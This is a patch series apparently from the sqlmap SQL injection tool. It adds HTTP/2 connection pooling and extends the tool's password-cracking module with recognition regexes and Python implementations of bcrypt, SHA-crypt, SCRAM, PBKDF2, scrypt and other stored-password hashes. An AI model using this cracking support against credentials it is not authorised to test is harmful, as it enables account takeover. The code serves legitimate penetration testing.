stream %d) before stream %d was processed" % (last_sid, sid)) + elif ftype == RST_STREAM and fsid == sid: + self.usable = False raise IOError("stream reset by server (error %d)" % struct.unpack("!I", payload[:4])[0]) - elif ftype in (HEADERS, CONTINUATION) and sid == 1: + elif ftype in (HEADERS, CONTINUATION) and fsid == sid: p = payload if ftype == HEADERS: if flags & FLAG_PADDED: @@ -477,17 +520,17 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N p = p[5:] header_block += p if flags & FLAG_END_HEADERS: - resp_headers = dec.decode(header_block) + resp_headers = self.dec.decode(header_block) if flags & FLAG_END_STREAM: done = True - elif ftype == DATA and sid == 1: + elif ftype == DATA and fsid == sid: p = payload if flags & FLAG_PADDED: p = p[1:len(p) - bytearray(payload)[0]] resp_body += p if payload: # replenish stream + connection windows - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 1, struct.pack("!I", len(payload)))) - sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, sid, struct.pack("!I", len(payload)))) + self.sock.sendall(encode_frame(WINDOW_UPDATE, 0, 0, struct.pack("!I", len(payload)))) if flags & FLAG_END_STREAM: done = True status = None @@ -496,9 +539,50 @@ def h2_request(host, port=443, method="GET", path="/", authority=None, headers=N status = int(v) break return status, resp_headers, bytes(resp_body) + +# Thread-local pool: one live connection per (host, port, proxy) per thread. Mirrors keepalive.py's model +# (one connection per host per thread) so streams never interleave across threads and time-based +# measurements stay clean. +_h2_pool = threading.local() + +def _pooledExchange(host, port, proxy, method, path, authority, headers, body, timeout): + pool = getattr(_h2_pool, "connections", None) + if pool is None: + pool = _h2_pool.connections = {} + key = (host, port, proxy) + + conn = pool.get(key) + reused = conn is not None and conn.usable + if not reused: + if conn is not None: + conn.close() + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + + try: + result = conn.exchange(method, path, authority, headers, body, timeout) + except _UnprocessedStream: # explicitly not processed -> always safe to retry fresh + conn.close(); pool.pop(key, None) + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + except (socket.error, ssl.SSLError, IOError): + conn.close(); pool.pop(key, None) + if reused: # stale keep-alive socket (server closed idle conn) -> reopen once + conn = pool[key] = _H2Connection(host, port, proxy, timeout) + result = conn.exchange(method, path, authority, headers, body, timeout) + else: + raise + if not conn.usable: # GOAWAY / id-exhaustion mid-exchange -> don't keep it pooled + conn.close(); pool.pop(key, None) + return result + +def h2_request(host, port=443, method="GET", path="/", authority=None, headers=None, body=None, timeout=30, proxy=None): + """One-shot request on a throwaway connection (kept for direct/back-compat callers; the engine path + goes through open_url -> the reusing pool).""" + conn = _H2Connection(host, port, proxy, timeout) + try: + return conn.exchange(method, path, authority or host, headers, body, timeout) finally: - try: sock.close() - except Exception: pass + conn.close() class H2Response(object): @@ -567,8 +651,8 @@ def open_url(url, method="GET", headers=None, body=None, timeout=30, follow_redi path = parts.path or "/" if parts.query: path += "?" + parts.query - status, resp_headers, resp_body = h2_request(parts.hostname, parts.port or 443, method=method, path=path, - authority=parts.netloc.split("@")[-1], headers=req_headers, body=body, timeout=timeout, proxy=proxy) + status, resp_headers, resp_body = _pooledExchange(parts.hostname, parts.port or 443, proxy, method, path, + parts.netloc.split("@")[-1], req_headers, body, timeout) if follow_redirects and status in REDIRECT_CODES: location = None for name, value in (resp_headers or []): From d6299fc4f5c36248a25ef9d7b159acbf2b24d673 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Thu, 2 Jul 2026 16:29:40 +0200 Subject: [PATCH 123/165] Adding more supported hash algorithms --- data/txt/sha256sums.txt | 12 +- data/xml/queries.xml | 4 +- lib/core/enums.py | 11 ++ lib/core/option.py | 9 + lib/core/settings.py | 2 +- lib/request/comparison.py | 9 +- lib/utils/hash.py | 364 +++++++++++++++++++++++++++++++++++++- 7 files changed, 394 insertions(+), 17 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index 228cd713c..17ec05495 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -84,7 +84,7 @@ c8d467837c8567b61a11e2dfd75a2d8305a8b317041ee81eda6d0e47609dabb7 data/xml/paylo 0648264166455010921df1ec431e4c973809f37ef12cbfea75f95029222eb689 data/xml/payloads/stacked_queries.xml 379fc92f2dadd948f401e17490d8a8f03a1988d817323cbe1feff5fe87726079 data/xml/payloads/time_blind.xml 40a4878669f318568097719d07dc906a19b8520bc742be3583321fc1e8176089 data/xml/payloads/union_query.xml -45aa5280edc0412a217498bd229651ff9c55afab44d555507ee5bdc27531de82 data/xml/queries.xml +ff99497d2f04a872e16e799183e6c8f2e16f3e69cddb336e29162f1e92ae45c7 data/xml/queries.xml 127799739f9aeabca367027197f3c0240f141303bd7499928ccfa1443bf148c7 doc/ARCHITECTURE.md 0f5a9c84cb57809be8759f483c7d05f54847115e715521ac0ecf390c0aa68465 doc/AUTHORS ce20a4b452f24a97fde7ec9ed816feee12ac148e1fde5f1722772cc866b12740 doc/CHANGELOG.md @@ -177,19 +177,19 @@ f8de57606325456928e46ae2896f5f8bbec9ad18b1c644b492a566fa992216f6 lib/core/decor 147823c37596bd6a56d677697781f34b8d1d1671d5a2518fbc9468d623c6d07d lib/core/defaults.py 8e4f4b5ea37a49d445bb0df83bf04b34f61035ec33fd8acf598ebcf371cb19a7 lib/core/dicts.py b14628a6c9327d110afe50b01f3171f64f61823343b8de89596e854b00b74928 lib/core/dump.py -6dd47f52082e98dc0cda6969b277b7d81c6f7c68dac4688821f873a1c65c6edf lib/core/enums.py +c2db614a3ce7dda889152bea8bd6d709e5d8c2b556741fdbfe44469f27ce266b lib/core/enums.py 5387168e5dfedd94ae22af7bb255f27d6baaca50b24179c6b98f4f325f5cc7b4 lib/core/exception.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/core/__init__.py 914a13ee21fd610a6153a37cbe50830fcbd1324c7ebc1e7fc206d5e598b0f7ad lib/core/log.py 4fe3ac4c0d354d1ac42ad3f5dc1b308993588f8a249ff880d273f5031d6b52b0 lib/core/optiondict.py -0235aa27d0c8cfe54180f2a003f749065d11bf167923a8189844efd45469c612 lib/core/option.py +ca3d9185aa5418cdfc79f43beb4ad6f6503496763f349ecef57fff278bcfc8c8 lib/core/option.py 21b2b1745107c211fc7593923a3da7a808d40763c00091c28de5f7c129bcf3bc lib/core/patch.py 49c0fa7e3814dfda610d665ee02b12df299b28bc0b6773815b4395514ddf8dec lib/core/profiling.py 0c36a65b6237732eb001d333f80f0c58c088ff01ae80cf07e4dcc6da2a806364 lib/core/readlineng.py 9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py 0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py 888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py -0b0a122d3ae6f64c2af2aab91b72ecf6573e9cc1fd250f41ba441be60d8dd464 lib/core/settings.py +5fa3141353791446463a215a5481048346aa0f1dde08f1fe8fa6834a22aa23c1 lib/core/settings.py c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py 15d36cdac9389d0a54a6c33fbb89f32bb65e303f50de573773dcb6d4618bca64 lib/core/target.py @@ -211,7 +211,7 @@ c2f34e27578742e729c2fa9c1d4f0a0d8f8f7f4cf0fc14c62ec817a260c71dec lib/parse/site 1be3da334411657461421b8a26a0f2ff28e1af1e28f1e963c6c92768f9b0847c lib/request/basicauthhandler.py a988c659e0c642e4f3dc4034118b5a6e138a522394ff2eda5bdc3c8495ea2207 lib/request/basic.py bc61bc944b81a7670884f82231033a6ac703324b34b071c9834886a92e249d0e lib/request/chunkedhandler.py -9c0dccc1cee66d38478aaf75a7c513d0d136d50a90b15fed146faa1653899fe1 lib/request/comparison.py +4fd1957e31b14e7670b09d85a634fa6772a1cd90babe149f39a1c945fe306f0a lib/request/comparison.py 4a3b997a83b1724e8bd025be95ec5d84c6bf41d533ba097fcab1eab763352111 lib/request/connect.py 8e06682280fce062eef6174351bfebcb6040e19976acff9dc7b3699779783498 lib/request/direct.py a6b37b436838caeb197fea858d0a39fadbff4736256e741b5fcec1f28fcf1ce0 lib/request/dns.py @@ -263,7 +263,7 @@ bd9267d94390ba87d6c5a35c90f2406d6a4135a7c8ea01db76dd9e6519eee2ed lib/utils/dial 3c4ad819589fe4fca303706dc87969273a07a04dee85e23f064b39caf1fb80e9 lib/utils/gui.py 972c5db9c9e30ac0f91c0f8d4df4531d0304e151dac99f1399c37c952ba9f935 lib/utils/har.py 0cd3860c03e39bacd1d0fe4cf1a0c605de48ff82f70441319f21d47e38e7e3a9 lib/utils/hashdb.py -71a66ff766a2921106770b26acff380de469222dc893816a7b970b384c927666 lib/utils/hash.py +f1f29dee813d08be77023543c45a4f3621ed26b1bbc133c020b618256663baaf lib/utils/hash.py 1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/utils/__init__.py 1bbf57e43f921d4132e6e5a336ff39454a9506b36de94ebcc45879d0abcac56a lib/utils/keysetdump.py b57aa20b7a6fd8afd07bae773fd03f8acb05655ee605362b220e65a0664dc38d lib/utils/library.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 449b6cb9b..61dc69d9e 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -35,8 +35,8 @@ - - + + diff --git a/lib/core/enums.py b/lib/core/enums.py index 479b9f682..727eaed88 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -180,6 +180,8 @@ class HASH(object): MYSQL = r'(?i)\A\*[0-9a-f]{40}\Z' MYSQL_OLD = r'(?i)\A(?![0-9]+\Z)[0-9a-f]{16}\Z' POSTGRES = r'(?i)\Amd5[0-9a-f]{32}\Z' + POSTGRES_SCRAM = r'\ASCRAM-SHA-256\$\d+:[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}:[A-Za-z0-9+/]+={0,2}\Z' + MYSQL_SHA2 = r'\A\$mysql\$A\$[0-9A-Fa-f]{3}\*[0-9A-Fa-f]{40}\*[0-9A-Fa-f]{86}\Z' MSSQL = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{40}\Z' MSSQL_OLD = r'(?i)\A0x0100[0-9a-f]{8}[0-9a-f]{80}\Z' MSSQL_NEW = r'(?i)\A0x0200[0-9a-f]{8}[0-9a-f]{128}\Z' @@ -192,6 +194,8 @@ class HASH(object): SHA384_GENERIC = r'(?i)\A[0-9a-f]{96}\Z' SHA512_GENERIC = r'(?i)\A(0x)?[0-9a-f]{128}\Z' CRYPT_GENERIC = r'\A(?!\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\Z)(?![0-9]+\Z)[./0-9A-Za-z]{13}\Z' + SHA256_UNIX_CRYPT = r'\A\$5\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{43}\Z' + SHA512_UNIX_CRYPT = r'\A\$6\$(?:rounds=\d+\$)?[./0-9A-Za-z]{1,16}\$[./0-9A-Za-z]{86}\Z' JOOMLA = r'\A[0-9a-f]{32}:\w{32}\Z' PHPASS = r'\A\$[PHQS]\$[./0-9a-zA-Z]{31}\Z' APACHE_MD5_CRYPT = r'\A\$apr1\$.{1,8}\$[./a-zA-Z0-9]+\Z' @@ -205,6 +209,13 @@ class HASH(object): SSHA512 = r'\A\{SSHA512\}[a-zA-Z0-9+/]+={0,2}\Z' DJANGO_MD5 = r'\Amd5\$[^$]*\$[0-9a-f]{32}\Z' DJANGO_SHA1 = r'\Asha1\$[^$]*\$[0-9a-f]{40}\Z' + DJANGO_PBKDF2_SHA256 = r'\Apbkdf2_sha256\$\d+\$[^$]+\$[A-Za-z0-9+/]+={0,2}\Z' + WERKZEUG_PBKDF2 = r'\Apbkdf2:(?:sha1|sha256|sha512):\d+\$[^$]+\$[0-9a-f]+\Z' + WERKZEUG_SCRYPT = r'\Ascrypt:\d+:\d+:\d+\$[^$]+\$[0-9a-f]+\Z' + BCRYPT = r'\A\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + WORDPRESS_BCRYPT = r'\A\$wp\$2[abxy]\$\d{2}\$[./A-Za-z0-9]{53}\Z' + ARGON2 = r'\A\$argon2(?:id|i|d)\$v=\d+\$m=\d+,t=\d+,p=\d+\$[A-Za-z0-9+/]+={0,2}\$[A-Za-z0-9+/]+={0,2}\Z' + ASPNET_IDENTITY = r'\AAQAAAA[A-Za-z0-9+/]{76}==\Z' MD5_BASE64 = r'\A[a-zA-Z0-9+/]{22}==\Z' SHA1_BASE64 = r'\A[a-zA-Z0-9+/]{27}=\Z' SHA256_BASE64 = r'\A[a-zA-Z0-9+/]{43}=\Z' diff --git a/lib/core/option.py b/lib/core/option.py index 135643512..e69067f68 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -870,6 +870,15 @@ def _setTamperingFunctions(): warnMsg += "a good idea" logger.warning(warnMsg) + # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines + # (--graphql/--nosql/--ldap/--xpath/--ssti) do not run payloads through the tampering hook, so + # warn instead of silently ignoring the user's '--tamper' + if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti)): + engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti") if conf.get(_)) + warnMsg = "tamper scripts are applied to SQL injection payloads only and " + warnMsg += "will be ignored by the '--%s' engine" % engine + logger.warning(warnMsg) + if resolve_priorities and priorities: priorities.sort(key=functools.cmp_to_key(lambda a, b: cmp(a[0], b[0])), reverse=True) kb.tamperFunctions = [] diff --git a/lib/core/settings.py b/lib/core/settings.py index 55c7bac98..d39b04e52 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.15" +VERSION = "1.10.7.16" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/comparison.py b/lib/request/comparison.py index e32782973..d2e8bac07 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -39,15 +39,18 @@ from thirdparty import six def _isJsonResponse(headers): """ - Returns True if the response Content-Type indicates a JSON document (e.g. 'application/json' - or a structured suffix like 'application/vnd.api+json') + Returns True if the response Content-Type plausibly indicates a JSON document - i.e. the canonical + 'application/json', the common misservings ('text/json', 'application/javascript', ...), or a + structured suffix like 'application/vnd.api+json'. Being liberal here is safe: jsonMinimize() returns + None for anything that is not actually parseable JSON, so a mislabelled body simply falls back to the + normal text comparison. """ retVal = False if headers: contentType = (headers.get(HTTP_HEADER.CONTENT_TYPE) or "").split(';')[0].strip().lower() - retVal = contentType == "application/json" or contentType.endswith("+json") + retVal = contentType in ("application/json", "text/json", "application/javascript", "text/javascript", "application/x-javascript") or contentType.endswith("+json") return retVal diff --git a/lib/utils/hash.py b/lib/utils/hash.py index 11831534f..b26388265 100644 --- a/lib/utils/hash.py +++ b/lib/utils/hash.py @@ -19,19 +19,27 @@ except: from thirdparty.pydes.pyDes import CBC from thirdparty.pydes.pyDes import des +try: + from hashlib import scrypt as _scrypt # not available on Python 2 (added in 3.6) +except ImportError: + _scrypt = None + _multiprocessing = None import base64 import binascii import gc +import hmac import math import os import re +import struct import tempfile import time import zipfile from hashlib import md5 +from hashlib import pbkdf2_hmac from hashlib import sha1 from hashlib import sha224 from hashlib import sha256 @@ -146,6 +154,21 @@ def postgres_passwd(password, username, uppercase=False): return retVal.upper() if uppercase else retVal.lower() +def postgres_scram_passwd(password, salt, iterations, **kwargs): # since version '10' + """ + Reference(s): + https://www.rfc-editor.org/rfc/rfc5803 + + >>> postgres_scram_passwd(password='testpass', salt='c2FsdHNhbHRzYWx0', iterations=4096) + 'SCRAM-SHA-256$4096:c2FsdHNhbHRzYWx0$AzDKnszrCJPfdiFrFLbdoiqdocK4KWksHHcs3Jx7R5w=:lmWF1kOl/PbOyhpnGuBGzKyuP3XYMK6whWukBxHiHLc=' + """ + + salted = pbkdf2_hmac("sha256", getBytes(password), decodeBase64(salt, binary=True), iterations) + stored_key = sha256(hmac.new(salted, b"Client Key", sha256).digest()).digest() + server_key = hmac.new(salted, b"Server Key", sha256).digest() + + return "SCRAM-SHA-256$%d:%s$%s:%s" % (iterations, salt, getText(base64.b64encode(stored_key)), getText(base64.b64encode(server_key))) + def mssql_new_passwd(password, salt, uppercase=False): # since version '2012' """ Reference(s): @@ -439,6 +462,243 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs): return getText(magic + salt + b'$' + getBytes(hash_)) +# SHA-crypt (Drepper) final-permutation byte orders for the 32/64-byte digests +_SHA256_CRYPT_ORDER = ((0, 10, 20), (21, 1, 11), (12, 22, 2), (3, 13, 23), (24, 4, 14), (15, 25, 5), (6, 16, 26), (27, 7, 17), (18, 28, 8), (9, 19, 29), (31, 30)) +_SHA512_CRYPT_ORDER = ((0, 21, 42), (22, 43, 1), (44, 2, 23), (3, 24, 45), (25, 46, 4), (47, 5, 26), (6, 27, 48), (28, 49, 7), (50, 8, 29), (9, 30, 51), (31, 52, 10), (53, 11, 32), (12, 33, 54), (34, 55, 13), (56, 14, 35), (15, 36, 57), (37, 58, 16), (59, 17, 38), (18, 39, 60), (40, 61, 19), (62, 20, 41), (63,)) + +def _shaCryptDigest(password, salt, rounds, digestmod, order): + dsize = digestmod().digest_size + + B = digestmod(password + salt + password).digest() + + ctx = digestmod(password + salt) + cnt = len(password) + while cnt > dsize: + ctx.update(B) + cnt -= dsize + ctx.update(B[:cnt]) + + i = len(password) + while i: + ctx.update(B if i & 1 else password) + i >>= 1 + A = ctx.digest() + + dp = digestmod() + for _ in xrange(len(password)): + dp.update(password) + DP = dp.digest() + P = DP * (len(password) // dsize) + DP[:len(password) % dsize] + + ds = digestmod() + for _ in xrange(16 + (A[0] if isinstance(A[0], int) else ord(A[0]))): + ds.update(salt) + DS = ds.digest() + S = DS * (len(salt) // dsize) + DS[:len(salt) % dsize] + + C = A + for i in xrange(rounds): + c = digestmod() + c.update(P if i & 1 else C) + if i % 3: + c.update(S) + if i % 7: + c.update(P) + c.update(C if i & 1 else P) + C = c.digest() + + retVal = "" + for group in order: + value = 0 + for idx in group: + value = (value << 8) | (C[idx] if isinstance(C[idx], int) else ord(C[idx])) + for _ in xrange((len(group) * 8 + 5) // 6): + retVal += ITOA64[value & 0x3f] + value >>= 6 + + return retVal + +def sha2_crypt_passwd(password, salt, magic="$5$", **kwargs): + """ + Reference(s): + https://www.akkadia.org/drepper/SHA-crypt.txt + + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$5$') + '$5$saltstring$rn/td51LeVLXb2RR8WT672g4QhAuobh1gQQFGFiRCT.' + >>> sha2_crypt_passwd(password='testpass', salt='saltstring', magic='$6$') + '$6$saltstring$Oxduy3vBZ8CEBR5mER96ach5GlbbBT1Oz5g1UNdPqomx5bB1.IwS1ZFoW8fpb0xvz/BCS7.LzpkW7GAFOW9yC.' + """ + + rounds, saltstr = 5000, salt + if salt.startswith("rounds="): + prefix, saltstr = salt.split('$', 1) + rounds = int(prefix[len("rounds="):]) + + order, digestmod = (_SHA256_CRYPT_ORDER, sha256) if magic == "$5$" else (_SHA512_CRYPT_ORDER, sha512) + digest = _shaCryptDigest(getBytes(password), getBytes(saltstr)[:16], rounds, digestmod, order) + + return "%s%s$%s" % (magic, salt, digest) + +def mysql_sha2_passwd(password, salt, rounds, prefix, **kwargs): # MySQL 8 'caching_sha2_password' (sha256crypt, 20-byte salt) + """ + Reference(s): + https://hashcat.net/wiki/doku.php?id=example_hashes + + >>> mysql_sha2_passwd(password='hashcat', salt=decodeHex('F9CC98CE08892924F50A213B6BC571A2C11778C5'), rounds=5000, prefix='$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*') + '$mysql$A$005*F9CC98CE08892924F50A213B6BC571A2C11778C5*625479393559393965414D45316477456B484F41316E64484742577A2E3162785353526B7554584647562F' + """ + + digest = _shaCryptDigest(getBytes(password), bytes(salt), rounds, sha256, _SHA256_CRYPT_ORDER) + + return "%s%s" % (prefix, getText(encodeHex(getBytes(digest), binary=False)).upper()) + +# bcrypt (Provos-Mazieres EksBlowfish); the Blowfish P/S init constants are the fractional hex digits of pi +BCRYPT_ITOA64 = "./ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789" + +_bcryptState = None + +def _bcryptInitState(): + global _bcryptState + + if _bcryptState is None: + count = 18 + 4 * 256 + ndigits = count * 8 + prec = ndigits + 16 + one = 1 << (4 * prec) + + def _arctan(inv): + total = term = one // inv + square = inv * inv + i = 1 + while term: + term //= square + total += (term // (2 * i + 1)) * (-1 if i % 2 else 1) + i += 1 + return total + + frac = (16 * _arctan(5) - 4 * _arctan(239) - 3 * one) >> (4 * (prec - ndigits)) + hexstr = "%0*x" % (ndigits, frac) + words = [int(hexstr[i * 8:(i + 1) * 8], 16) for i in xrange(count)] + _bcryptState = (words[:18], [words[18 + i * 256:18 + (i + 1) * 256] for i in xrange(4)]) + + return _bcryptState + +def _bcryptEncipher(P, S, L, R): + for i in xrange(16): + L ^= P[i] + R ^= (((S[0][(L >> 24) & 0xff] + S[1][(L >> 16) & 0xff]) & 0xffffffff) ^ S[2][(L >> 8) & 0xff]) + S[3][L & 0xff] & 0xffffffff + L, R = R, L + L, R = R, L + return (L ^ P[17]) & 0xffffffff, (R ^ P[16]) & 0xffffffff + +def _bcryptStream(data, offset): + word = 0 + for _ in xrange(4): + word = ((word << 8) | data[offset[0]]) & 0xffffffff + offset[0] = (offset[0] + 1) % len(data) + return word + +def _bcryptExpand(P, S, data, key): + koffset = [0] + for i in xrange(18): + P[i] ^= _bcryptStream(key, koffset) + + doffset = [0] + L = R = 0 + for i in xrange(0, 18, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + P[i], P[i + 1] = L, R + + for b in xrange(4): + for k in xrange(0, 256, 2): + if data: + L ^= _bcryptStream(data, doffset) + R ^= _bcryptStream(data, doffset) + L, R = _bcryptEncipher(P, S, L, R) + S[b][k], S[b][k + 1] = L, R + +def _bcryptBase64(data): + retVal = "" + i = 0 + while i < len(data): + c = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c >> 2) & 0x3f] + c = (c & 3) << 4 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + d = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (d >> 4) & 0x0f) & 0x3f] + c = (d & 0x0f) << 2 + if i >= len(data): + retVal += BCRYPT_ITOA64[c & 0x3f]; break + e = data[i]; i += 1 + retVal += BCRYPT_ITOA64[(c | (e >> 6) & 3) & 0x3f] + retVal += BCRYPT_ITOA64[e & 0x3f] + return retVal + +def _bcryptUnbase64(value, length): + retVal = bytearray() + positions = [BCRYPT_ITOA64.index(_) for _ in value] + i = 0 + while i < len(positions) and len(retVal) < length: + c1 = positions[i] + c2 = positions[i + 1] if i + 1 < len(positions) else 0 + retVal.append(((c1 << 2) | (c2 >> 4)) & 0xff) + if len(retVal) >= length: + break + c3 = positions[i + 2] if i + 2 < len(positions) else 0 + retVal.append((((c2 & 0x0f) << 4) | (c3 >> 2)) & 0xff) + if len(retVal) >= length: + break + c4 = positions[i + 3] if i + 3 < len(positions) else 0 + retVal.append((((c3 & 3) << 6) | c4) & 0xff) + i += 4 + return retVal[:length] + +def bcrypt_passwd(password, salt, magic="$2a$", cost=5, **kwargs): + """ + Reference(s): + https://www.openwall.com/crypt/ + + >>> bcrypt_passwd(password='U*U', salt='CCCCCCCCCCCCCCCCCCCCC.', magic='$2a$', cost=5) + '$2a$05$CCCCCCCCCCCCCCCCCCCCC.E5YPO9kmyuRGyh0XouQYb4YMJKvyOeW' + """ + + P0, S0 = _bcryptInitState() + P, S = list(P0), [list(_) for _ in S0] + + key = bytearray(getBytes(password) + b"\0") + saltbytes = _bcryptUnbase64(salt, 16) + + _bcryptExpand(P, S, saltbytes, key) + for _ in xrange(1 << cost): + _bcryptExpand(P, S, b"", key) + _bcryptExpand(P, S, b"", saltbytes) + + ctext = list(struct.unpack(">6I", b"OrpheanBeholderScryDoubt")) + for _ in xrange(64): + for j in xrange(0, 6, 2): + ctext[j], ctext[j + 1] = _bcryptEncipher(P, S, ctext[j], ctext[j + 1]) + + digest = bytearray(struct.pack(">6I", *ctext))[:23] + + return "%s%02d$%s%s" % (magic, cost, salt, _bcryptBase64(digest)) + +def wordpress_bcrypt_passwd(password, salt, magic="$2y$", cost=10, **kwargs): # WordPress 6.8+ 'bcrypt(base64(hmac-sha384(pass)))' + """ + Reference: https://make.wordpress.org/core/2025/02/17/wordpress-6-8-will-use-bcrypt-for-password-hashing/ + + >>> wordpress_bcrypt_passwd(password='hashcat', salt='lzlQrRRhLSjz486bA9CKHu', magic='$2y$', cost=10) + '$wp$2y$10$lzlQrRRhLSjz486bA9CKHuZRPoKz4uviT251Sq/r5OzKUBbrXwnQW' + """ + + prehashed = getText(base64.b64encode(hmac.new(b"wp-sha384", getBytes(password.strip()), sha384).digest())) + + return "$wp%s" % bcrypt_passwd(prehashed, salt, magic, cost) + def joomla_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/10428239 @@ -469,6 +729,56 @@ def django_sha1_passwd(password, salt, **kwargs): return "sha1$%s$%s" % (salt, sha1(getBytes(salt) + getBytes(password)).hexdigest()) +def django_pbkdf2_sha256_passwd(password, salt, iterations, **kwargs): + """ + Reference: https://github.com/django/django/blob/main/django/contrib/auth/hashers.py + + >>> django_pbkdf2_sha256_passwd(password='testpass', salt='salt', iterations=1000) + 'pbkdf2_sha256$1000$salt$N3DLJstEJ6mIjp0fq/KRcHmJ/4FtMzHYmW9fBHci/aI=' + """ + + dk = pbkdf2_hmac("sha256", getBytes(password), getBytes(salt), iterations) + + return "pbkdf2_sha256$%d$%s$%s" % (iterations, salt, getText(base64.b64encode(dk))) + +def werkzeug_pbkdf2_passwd(password, salt, iterations, digestmod="sha256", **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_pbkdf2_passwd(password='testpass', salt='salt', iterations=1000, digestmod='sha256') + 'pbkdf2:sha256:1000$salt$3770cb26cb4427a9888e9d1fabf291707989ff816d3331d8996f5f047722fda2' + """ + + dk = pbkdf2_hmac(digestmod, getBytes(password), getBytes(salt), iterations) + + return "pbkdf2:%s:%d$%s$%s" % (digestmod, iterations, salt, getText(encodeHex(dk, binary=False))) + +def werkzeug_scrypt_passwd(password, salt, N, r, p, **kwargs): + """ + Reference: https://github.com/pallets/werkzeug/blob/main/src/werkzeug/security.py + + >>> werkzeug_scrypt_passwd(password='testpass', salt='saltsalt', N=32768, r=8, p=1) if _scrypt else 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + 'scrypt:32768:8:1$saltsalt$1e0f97c3f6609024022fbe698da29c2fe53ef1087a8e396dc6d5d2a041e886dee09ea922781f2c2a1c85e46c77060147e43487f8fe6226bcb635915af9b0518b' + """ + + dk = _scrypt(getBytes(password), salt=getBytes(salt), n=N, r=r, p=p, dklen=64, maxmem=132 * N * r + 1024) + + return "scrypt:%d:%d:%d$%s$%s" % (N, r, p, salt, getText(encodeHex(dk, binary=False))) + +def aspnet_identity_passwd(password, salt, iterations, prf, dklen, **kwargs): + """ + Reference(s): + https://github.com/dotnet/AspNetCore/blob/main/src/Identity/Extensions.Core/src/PasswordHasher.cs + + >>> aspnet_identity_passwd(password='cutecats', salt=decodeBase64('AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==', binary=True)[13:29], iterations=10000, prf=1, dklen=32) + 'AQAAAAEAACcQAAAAEFWLthQDW2xiWaS3vLgY4ItJdModbW0kzKtb8IVuXBY3fFaIntkbbdqTj8mTXH4mmA==' + """ + + subkey = pbkdf2_hmac({0: "sha1", 1: "sha256", 2: "sha512"}[prf], getBytes(password), bytes(salt), iterations, dklen) + blob = struct.pack(">BIII", 1, prf, iterations, len(salt)) + bytes(salt) + subkey + + return getText(base64.b64encode(blob)) + def vbulletin_passwd(password, salt, **kwargs): """ Reference: https://stackoverflow.com/a/2202810 @@ -560,6 +870,8 @@ __functions__ = { HASH.MYSQL: mysql_passwd, HASH.MYSQL_OLD: mysql_old_passwd, HASH.POSTGRES: postgres_passwd, + HASH.POSTGRES_SCRAM: postgres_scram_passwd, + HASH.MYSQL_SHA2: mysql_sha2_passwd, HASH.MSSQL: mssql_passwd, HASH.MSSQL_OLD: mssql_old_passwd, HASH.MSSQL_NEW: mssql_new_passwd, @@ -572,9 +884,16 @@ __functions__ = { HASH.SHA384_GENERIC: sha384_generic_passwd, HASH.SHA512_GENERIC: sha512_generic_passwd, HASH.CRYPT_GENERIC: 